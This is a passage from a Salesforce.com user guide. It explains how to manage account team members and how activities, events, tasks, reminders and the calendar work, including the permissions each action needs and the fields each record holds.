7. Check the Update account teams... box to apply default account team changes to all of your existing accounts.
8. Click Save.

Editing and Deleting Default Account Team Members


To change the access levels or role of a default team member, click Edit next to the user’s name in the Default Account Team
related list.
To delete a user from your default sales team:

1165
Account Teams Adding Account Team Members

1. Click Del next to the user’s name in the Default Account Team related list.
2. Check the Remove this user... box to remove the user from your existing account teams.
3. Click Delete to finish.
To change or remove a default team member for a specific account, go to the Account Team related list on that account.

Adding Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To add team members: “Read” on accounts

To build an account team, select an account and add account team members to that account.
To add account team members to an account:

1. View the account.


2. Click Add in the Account Team related list.
3. Select users to add as members of the account team.
You can't add high-volume Customer Portal users on page 1454 to teams.
4. Select the access that each member should have to related records on the account.
The access level cannot be less restrictive than your organization’s default account access level.
5. Select a team role for each member, for example, “Account Manager.”
6. Click Save.

To add your default account team to an account, click Add Default Team in the Account Team related list. To add all account
team members to an opportunity, click Add Account Team from the Sales Team related list on the opportunity.
In a custom list view, you can filter account lists by the account teams in which you are a member. When creating or editing
a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can filter accounts by
the account teams in which you are a member.
Note: The Account Access, Contact Access, Opportunity Access, and Case Access options depend on your sharing
model. In a Public sharing model, you may only have one option. Contact Access is not available when the
organization-wide default for contacts is set to Controlled by Parent. Regardless of sharing access, account team
members must also have the “Read” permission on accounts to view accounts that list them as members.

1166
Account Teams Editing Account Team Members

You can run reports based on the account team members for accounts that you own. You can also run reports to get information
about the accounts and account teams of which you are a member.

See Also:
Reassigning Multiple Team Members
Setting Up Account Teams
Editing Account Team Members
Removing Account Team Members

Editing Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To edit team members: “Edit” on accounts

For each account you own, you can change the access levels and role of any existing account team member.

1. View the account.


2. Click Edit next to the member’s name in the Account Team related list.
3. Select the access levels for the account and the account's contacts, opportunities, and cases.
An access level can only grant the same or wider access than your organization’s default access level for that kind of record.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
4. Select the member’s team role.
5. Click Save.

Optionally, you can also click:

• Add - to add additional team members.


• Add Default Team - to include your default team.
• Add Account Team - To include your account team. This is only available for sales teams.
• Display Access - to show the sharing access of each member. This displays the overall sharing access, regardless of the
sharing access specified when added as a team member. For example, a sharing rule may give a team member greater access
than you specified when adding the team member.
• Delete All - to remove all team members.

If a team member is on your default account team and you modify his or her properties for a specific account, those changes
only affect that account. The setup of your default account team does not change. To edit the properties of your default account
team members, see Setting Up Your Default Account Team on page 1165.

1167
Account Teams Removing Account Team Members

Removing Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To remove team members: “Edit” on accounts

For each account you own, you can remove any team member from the account team.

1. View the account.


2. Click Del next to the member’s name in the Account Team related list.
Click Delete All if you want to remove all the account team members at once.
3. Check the Remove box if you also want to remove the user from the sales teams of open opportunities associated with
the account.
4. Click Delete to finish.

Note: Unless specified, removing a member of your account team does not remove that person from your opportunity
sales teams.
If a team member is on your default account team and you remove him or her from a specific account, those changes
only affect that account. The setup of your default account team does not change. To remove users from your default
account team, see Setting Up Your Default Account Team on page 1165.

See Also:
Reassigning Multiple Team Members

Account Team Fields


Available in: Enterprise, Unlimited, and Developer Editions

An account team member has the following fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.)

Field Description
Account Access The level of access that a team member has to the account.
The access level can be read/write or read only, but it cannot
be less than your organization’s default account sharing access.

1168
Account Teams Account Team Fields

Field Description
Contact Access The level of access that a team member has to the contact.
The access level can be read/write or read only, but it cannot
be less than your organization’s default contact sharing access.
Contact Access is not available when the organization-wide
default for contacts is set to Controlled by Parent.

Opportunity Access The level of access that team member has to the opportunities
associated with the account.
Case Access The level of access that team member has to the cases
associated with the account.
Team Member The user listed as part of the team.
Team Role The role that the team member plays for the account, for
example, “Account Manager.”

1169
ACTIVITIES

Activity Overview
Available in: All Editions

Activities include tasks and calendar events. You can define and track activities for many different objects, including campaigns,
accounts, contacts, and leads.
Activities display in related lists on associated records as well as on the Home tab. When creating an activity, you can describe
the activity and specify attributes such as priority, due date, and status.
Note: Administrators can modify activity fields and control the page layouts for tasks and events.

See Also:
Activity Accessibility
Viewing Activities
Creating Activities
Editing Activities
Deleting Activities
Searching for Activities
Activity Fields
Tip sheet: Tips & Hints for Activities

Activity Accessibility
Available in: All Editions

Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access
activities:

To do this: You must:


View an activity • Be assigned to the activity, or
• Be above the user assigned to the activity in the role
hierarchy, or
• Have at least read access to the record to which the activity
is associated, or

1170
Activities Activity Accessibility

To do this: You must:


• Have the “View All” object-level permission in the related
record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “View All Data” permission

Create an activity • Have the “Edit Tasks” and “Edit Events” permissions

AND
• Have at least read access to a record, if associating the
activity with another record

Edit an activity • Have the “Edit Tasks” and “Edit Events” permissions

AND
• Be assigned to the activity, or
• Be above the user assigned to the activity in the role
hierarchy, or
• Have the “Modify All” object-level permission in the
related record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “Modify All Data” permission

Delete an activity • Have the “Edit Tasks” and “Edit Events” permissions

AND
• Be assigned to the activity, or
• Be above the user assigned to the activity in the role
hierarchy, or
• Have the “Modify All” object-level permission in the
related record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “Modify All Data” permission

View, add, and edit events on other users’ calendars • Have the “Edit Tasks” and “Edit Events” permissions to
create and edit activities

AND
• Have access to the user’s calendar, which depends on your
organization-wide calendar sharing defaults and how the
user has set up individual calendar sharing.
See Setting the Sharing Model on page 198 and Sharing
Your Calendar on page 65.

Note: Events marked as private via the Private


checkbox are accessible only by the user assigned to
the event. Other users cannot see the event details

1171
Activities Viewing Activities

To do this: You must:


when viewing that user’s calendar. However, users
with the “View All Data” or “Modify All Data”
permission can see private event details in reports and
searches, or when viewing other users’ calendars.

Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the “activity owner.”

See Also:
Viewing Activities
Editing Activities
Deleting Activities

Viewing Activities
Available in: All Editions

Activities include tasks and calendar events. Activities can display in the following locations:
Home Tab
Many users go to the Home tab to view their tasks and events. For more information, see Using Your Calendar and
Tasks on the Home Page on page 1592.

Open Activities and Activity History Related Lists


You can also view, create, and update activities from the Open Activities and Activity History related lists of an associated
record. These related lists show all activities associated with the record, including activities that are assigned to other
users. For more information, see Using the Open Activities Related List on page 1178 and Using the Activity History
Related List on page 1179.

Activity List Views

To display a list of activities for which you or your team is responsible for completing, click the activity list view icon
( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the
Calendar or My Tasks sections, contact your administrator to customize your home page layout.
For more information, see Viewing Activity Lists on page 1173.

Reminder Window
The reminder window pops up to notify you of upcoming activities. For more information, see Using the Activity
Reminder Window on page 1181.

1172
Activities Viewing Activities

Console
Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to
include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and
their associated records on one screen. For more information, see Displaying the Console on page 1374.

See the following for details on viewing activities:

• Viewing Your Calendar


• Viewing Event Details
• Viewing Tasks

See Also:
Activity Accessibility
Creating Activities
Editing Activities
Deleting Activities
Activity Fields

Viewing Activity Lists


Available in: All Editions

User Permissions Needed


To view activities owned by you and users below you in the No permissions needed
role hierarchy:
To view all activities: “View All Data”

To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( )
below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My
Tasks sections, contact your administrator to customize your home page layout.
From the activity list view, you can do the following:

• Click New Task or New Event to create a new activity. For more information, see Creating Activities on page 1174.
• Click Printable View to display the current list view in a format that is ready for printing.
• Click an activity to view its details. When viewing an activity, click Back to list at the top of the activity detail page to
return to the last list page you viewed. See Navigating on page 42 for more information.

Archived activities are not included in activity list views. See Using the Activity History Related List on page 1179 for details
on which activities are archived.
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

1173
Activities Creating Activities

To change which activity list view displays:

1. Click the list view icon below the calendar on the Home tab.
2. Select a view name from the drop-down list.
The following list views are provided by Salesforce.com:

• All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your
activities.
• My Activities - Shows activities that you own.
• My Delegated Activities - Shows activities that you created but are owned by someone else.
• My Team's Activities - Shows activities owned by users who report to you in the role hierarchy.
For your convenience, your team's activities are converted to your time zone.

To create a new activity list:

1. Click the list view icon below the calendar on the Home tab.
2. Click Create New View. See Creating Custom List Views on page 1691 for more information.

See Also:
Viewing Activities
Using Your Calendar and Tasks on the Home Page
Viewing Your Calendar
Activity Accessibility
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

Creating Activities
Available in: All Editions

User Permissions Needed


To create tasks: “Edit Tasks”
To create events: “Edit Events”

You can create new activity records (tasks and events) from the following locations:
In the sidebar
In the sidebar, select Task or Event from the Create New drop-down list.

On the home page


On the Home tab, click New in the My Tasks section or New Event in the Calendar section.

1174
Activities Creating Activities

On the detail page of an associated record


On the detail page of an associated record, click New Task or New Event on the Open Activities related list. In addition,
you can click Log a Call on the Activity History related list to add a new task record with a completed status.

On a calendar view
On a calendar view, click New Event to add a new event. In addition:

• On day views you can click New in the My Tasks section to add a new task.
• On day views you can click a time such as 9:00 AM to add an event at that time.
• On day and week views, you can double-click on a time slot to create a new event. Your administrator controls the
availability of this feature. Note that recurring events and group events are not supported for click-and-create events
on calendar views.
• On week and month views you can click the Add Event icon ( ) to add an event on a particular date.

On an activity list view


On an activity list view, click New Task or New Event to create a new activity. To display an activity list view, click the
activity list view icon ( ) below the calendar on the Home tab or at the top of a calendar view.

On account, contact, and lead list views


On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a weekly
view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly
create an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 1209.

Note: In Enterprise, Unlimited, and Developer Editions, your administrator defines the record types that you can
select when creating an activity. Record types determine the picklist values and page layouts that are available when
creating and editing a record.

See Also:
Creating Tasks
Creating Events
Viewing Activities
Editing Activities

1175
Activities Editing Activities

Editing Activities
Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”
To edit events: “Edit Events”

See the following for details on editing activities:

• Editing Tasks
• Closing Tasks
• Editing Events

- Editing Group Events


- Editing Recurring Events
- Editing an Event in a Public or Resource Calendar

See Also:
Viewing Activities
Creating Activities
Deleting Activities
Activity Fields

Deleting Activities
Available in: All Editions
Group events not available in: Personal Edition

User Permissions Needed


To delete tasks: “Edit Tasks”
To delete events: “Edit Events”

To delete an activity:
Click Delete on the activity detail page, click Del from any activity list view or related list, or click Delete on the event detail
overlay.

1176
Activities Deleting Activities

Deleted tasks and events are moved to the Recycle Bin.

• Administrators can use Mass Delete to delete a group of activities or archived activities. See Deleting Mass Data on page
260.
• For group events, only the event owner can delete the event. However, when you decline a group event, the event is removed
from your calendar.
• When an event owner deletes a group event, all invited users receive an email notifying them that the event has been
canceled.
• When deleting a recurring event or deleting a recurring task, you can either delete a single occurrence in the series or the
entire series.

See Also:
Recycle Bin

Deleting Recurring Events


Available in: All Editions

User Permissions Needed


To delete recurring events: “Edit Events”

Only the event or series owner can delete an event or series of events. If you have been invited to a group event or a series of
group events, to remove them from your calendar, decline the event or series of events. See Responding to Group Events on
page 1208 for more information.
To delete a single event in a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series,
click OK.

Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay.
Note: When an event owner deletes a recurring group event, all invited users receive an email notifying them that the
event has been canceled.
Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well.

To delete a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click the View Series subtab located above the task details, and click Delete Series. A warning dialog displays. If you are
sure you want to delete every future occurrence in the series, click OK.

1177
Activities Using the Open Activities Related List

Note: Consider the following when deleting a series of events:

• Deleting a series does not delete occurrences that have already happened.
• When an event owner deletes a series of recurring group events, all invited users receive a single email notifying
them that the series of events has been canceled.
• If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual
events that were part of the series are not placed in the Recycle Bin.
• If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and
therefore it cannot be restored from the Recycle Bin.
• If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the
details as defined by the series, as well as any event-specific details that were set on the event before the series was
deleted.

Using the Open Activities Related List


Available in: All Editions

The Open Activities related list displays all open tasks and events for a record and its associated records. For example, if you
have a task related to a contact, that task displays in the Open Activities related list of the contact as well as the associated
account.

• Click New Task or New Event to create an activity that is associated with the record.
• Click Edit to edit an activity.
• Click Cls to close a task. For more information, see Closing Tasks on page 1215.
• Click Del to delete an event.
• Click the subject of an activity to open the detail page of the activity.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
620.
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 1125.

See Also:
Using the Activity History Related List
Viewing Activities

1178
Activities Using the Activity History Related List

Using the Activity History Related List


Available in: All Editions

The Activity History related list of a record displays all completed tasks, logged phone calls, expired events, outbound email,
mass email, email added from Microsoft Outlook®, and merged documents for the record and its associated records.
In the Activity History related list, click:

• Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with
scheduled events and tasks to track all activities for a record.
• Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your
administrator. If you choose, the merged document is listed in the Activity History related list of the associated record.
This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on
page 1706.
• Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed
account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list
of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it
is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all
types of records.
• Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed
in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links
feature is enabled. If the Gmail to Salesforce.com feature is also enabled, the email you send is automatically listed in the
Activity History related list of the contact or lead. See Using Gmail in Salesforce.com on page 2033 for more information.
• Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an
introductory note asking the contact to update the contact information you have and send a reply with the updated
information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch
emails will be listed in the Activity History related list.
• View All to display a printable view of all completed activities.
Note that the View All button only displays when there are records to view.
• The subject of an activity to view its details.

If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you
have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the
following:

• Make Public to display the completed activity in the activities related list on the case in the Self-Service portal.
• Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
620.

1179
Activities Setting Reminders on Activities

Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 1125.

See Also:
Using the Open Activities Related List
About Archived Activities
Viewing Activities
Sending Email

Setting Reminders on Activities


Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”
To edit events: “Edit Events”

Salesforce.com can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an
upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to
Salesforce.com. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the
last time the user logged out are shown in the reminder window.
When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified
in your reminder settings.
To set a reminder on a task:

1. Create or edit a task.


2. Select the Reminder checkbox.
3. Choose the date and time for the reminder. You will be reminded of the task on that date and time.
If you are setting the reminder for a recurring task series, the reminder applies to each occurrence in the series.
4. Click Save.

To set a reminder on an event:

1. Create or edit an event.


2. Select the Reminder checkbox.
3. Choose how long before the event that you want to be reminded.

1180
Activities Setting Reminders on Activities

4. Click Save.

See Also:
Using the Activity Reminder Window
Customizing Activity Reminders
Viewing Activities
Editing Activities

Using the Activity Reminder Window


Available in: All Editions

Reminders display in a small browser popup window, called the “reminder window.” When you first log into Salesforce.com,
a sound is played and the reminder window automatically pops up to notify you of any task or event reminders that were
triggered since you last logged in. While you are logged in, the reminders window opens whenever a reminder is triggered.
The reminder window lists up to 100 of the oldest reminders you have not dismissed, the type of activity, the subject of the
activity, and when the activity is scheduled or due. Activities that were scheduled or due in the past will show as overdue. To
find out more details on the activity, click on the subject of the activity.
When viewing the reminder window, you can choose to dismiss or snooze one or more reminders.
To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders
that were not previously in the window due to the 100 reminder limit.
To dismiss a reminder:

1. Select one or more reminders.


2. Click Dismiss.

To snooze a reminder:

1. Select one or more reminders.


2. In the drop-down list, select one of the snooze options. The default snooze option is to remind you again in five minutes.
3. Click Snooze.

If you close the reminder window, it will open again when you are notified of the next reminder.
Note: If your reminder popups fail to display, ensure that your browser is not blocking them. For more information,
see Why can't I view Salesforce.com popup windows such as lookup dialogs and the Help & Training window? on
page 2322.

See Also:
Setting Reminders on Activities
Customizing Activity Reminders
Viewing Activities

1181
Activities Searching for Activities

Searching for Activities


Available in: All Editions

To find activities:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

Note: Archived activities are not included in Advanced Search and Sidebar Search results.

See Also:
Search Overview
Viewing Activities

Activity Fields
The available fields vary according to which Salesforce.com Edition you have.

An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

See Also:
Viewing Activities
Activity Overview

1182
Activities Activity Fields

Event Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.
All Day Event Checkbox that specifies whether event lasts all day.
Assigned To Assigned owner of event. By default, the event is assigned to
the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.
Contact or Lead Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the “Read” permission for that
type of record; users with sharing access to the record can click
it to view more details.
Create Recurring Series of Events Allows you to set up a series of recurring events.
Created By User who created the event including creation date and time.
(Read only)
Date Planned date of event. You can enter a date, or choose a date
from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 752.

Description Text note describing event. This field can hold up to 32KB
of data.
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
Duration The length of a timed event in hours and minutes.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 752.

Email The email address of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.

1183
Activities Activity Fields

Field Description
End Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 752.

Event Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Last Modified By User who last changed the event, including modification date
and time. (Read only)
Location Location of the event.
Phone The phone number of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
Private Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for group
events or when adding or modifying an event in another user's
calendar. Private events cannot be associated with
opportunities, accounts, cases, campaigns, contracts, leads, or
contacts.
Related To The record that the event is associated with such as an account,
opportunity, or custom object. This only displays if you have
the “Read” permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.
Response Optional field that allows users invited to a group event to
enter a note when they accept or decline the event. This field
is not available in Personal Edition.
Show Time As Picklist that determines how this event appears when another
user views your calendar: busy, out of office, or free time.
Start Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.

1184
Activities Activity Fields

Field Description
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 752.

Subject Entry describing subject of activity, for example, “Meeting.” 


You can enter a subject, or select from a list of previously
defined subjects.
Time Time of a planned event. You can add the current time by
clicking the time link next to the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 752.

Type Type of the event, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed event is visible
in the Self-Service portal.

Task Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Assigned To Assigned owner of task. By default, the task is assigned to the
creator. To assign the task to another user, enter a user’s name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 1212.
Comments Text note describing the task. This field can hold up to 32KB
of data.
Create Recurring Series of Tasks Allows you to set up a series of recurring tasks. Selecting this
checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.
Created By User who created the task including creation date and time.
(Read only)
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

1185
Activities Activity Fields

Field Description
Due Date Date when the task should be completed. You can enter a
date, or choose a date from the calendar that displays when
you put your cursor in the field.
Email The email address of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Last Modified By User who last changed the task, including modification date
and time. (Read only)
Name Contact or lead associated with the task. You can enter the
name of the person or use the lookup icon to select the name.
This field only displays if you have the “Read” permission for
that type of record; users with sharing access to the record can
click it to view more details.
Phone The phone number of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Priority Urgency of the task, for example, Low, Medium, or High.
(Picklist selections can be customized by your administrator.)
Related To The record that the task is associated with such as an account
or opportunity. This field is not available when you associate
the task with a lead instead of a contact. This field only
displays if you have the “Read” permission for that type of
record; users with sharing access to the record can click it to
view more details.
Send Notification Email Checkbox that sends an automated email to the task assignee
to notify him or her that the task was assigned. This option
is not available in Personal Edition.
Status Current status of task, for example, Not Started or Completed.
(Picklist selections can be customized by your administrator.)
Subject The subject or short description of the task, for example,
“Email quote to customer.” You can enter a subject, or select
from a picklist of previously defined subjects.
Task Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Type Type of the task, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed task is visible
in the Self-Service portal.

1186
Activities Activity Fields

Event Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.
All Day Event Checkbox that specifies whether event lasts all day.
Assigned To Assigned owner of event. By default, the event is assigned to
the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.
Contact or Lead Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the “Read” permission for that
type of record; users with sharing access to the record can click
it to view more details.
Create Recurring Series of Events Allows you to set up a series of recurring events.
Created By User who created the event including creation date and time.
(Read only)
Date Planned date of event. You can enter a date, or choose a date
from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 752.

Description Text note describing event. This field can hold up to 32KB
of data.
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
Duration The length of a timed event in hours and minutes.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 752.

Email The email address of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.

1187
Activities Activity Fields

Field Description
End Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 752.

Event Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Last Modified By User who last changed the event, including modification date
and time. (Read only)
Location Location of the event.
Phone The phone number of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
Private Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for group
events or when adding or modifying an event in another user's
calendar. Private events cannot be associated with
opportunities, accounts, cases, campaigns, contracts, leads, or
contacts.
Related To The record that the event is associated with such as an account,
opportunity, or custom object. This only displays if you have
the “Read” permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.
Response Optional field that allows users invited to a group event to
enter a note when they accept or decline the event. This field
is not available in Personal Edition.
Show Time As Picklist that determines how this event appears when another
user views your calendar: busy, out of office, or free time.
Start Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.

1188
Activities Activity Fields

Field Description
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 752.

Subject Entry describing subject of activity, for example, “Meeting.” 


You can enter a subject, or select from a list of previously
defined subjects.
Time Time of a planned event. You can add the current time by
clicking the time link next to the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 752.

Type Type of the event, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed event is visible
in the Self-Service portal.

Task Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Assigned To Assigned owner of task. By default, the task is assigned to the
creator. To assign the task to another user, enter a user’s name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 1212.
Comments Text note describing the task. This field can hold up to 32KB
of data.
Create Recurring Series of Tasks Allows you to set up a series of recurring tasks. Selecting this
checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.
Created By User who created the task including creation date and time.
(Read only)
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

1189
Activities Activity Fields

Field Description
Due Date Date when the task should be completed. You can enter a
date, or choose a date from the calendar that displays when
you put your cursor in the field.
Email The email address of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Last Modified By User who last changed the task, including modification date
and time. (Read only)
Name Contact or lead associated with the task. You can enter the
name of the person or use the lookup icon to select the name.
This field only displays if you have the “Read” permission for
that type of record; users with sharing access to the record can
click it to view more details.
Phone The phone number of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Priority Urgency of the task, for example, Low, Medium, or High.
(Picklist selections can be customized by your administrator.)
Related To The record that the task is associated with such as an account
or opportunity. This field is not available when you associate
the task with a lead instead of a contact. This field only
displays if you have the “Read” permission for that type of
record; users with sharing access to the record can click it to
view more details.
Send Notification Email Checkbox that sends an automated email to the task assignee
to notify him or her that the task was assigned. This option
is not available in Personal Edition.
Status Current status of task, for example, Not Started or Completed.
(Picklist selections can be customized by your administrator.)
Subject The subject or short description of the task, for example,
“Email quote to customer.” You can enter a subject, or select
from a picklist of previously defined subjects.
Task Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Type Type of the task, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed task is visible
in the Self-Service portal.

1190
Activities About Archived Activities

About Archived Activities


Available in: All Editions

Salesforce.com archives older activities according to the conditions below:

• Events with a due date greater than 365 days old


• Closed tasks with a due date greater than 365 days old
• Closed tasks without a due date that were created more than 365 days ago

Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related
list.
Administrators can delete archived activities using Mass Delete.
Archived tasks are not included in reports. However, you can report on open or completed tasks.

See Also:
Searching for Activities
Using the Activity History Related List

Viewing Your Calendar


Available in: All Editions

Accessing Your Calendar


You can access your calendar from the following locations:
• The Home tab
For more information, see Using Your Calendar and Tasks on the Home Page on page 1592.
• The Calendar shortcut in the sidebar that opens your last used calendar view
Your Salesforce.com administrator must enable this shortcut. For more information, see Customizing Activity Settings
on page 752.
• The detail page of an event or task, which includes calendar icons at the top
• An activities list view, which includes calendar icons at the top

Using the Calendar Icons


Click the following icons to navigate your calendar:

Item Description
Day View icon. See Using the Calendar Day View on page
1193.

1191
Activities Viewing Your Calendar

Item Description
Week View icon. See Using the Calendar Week View on page
1195.
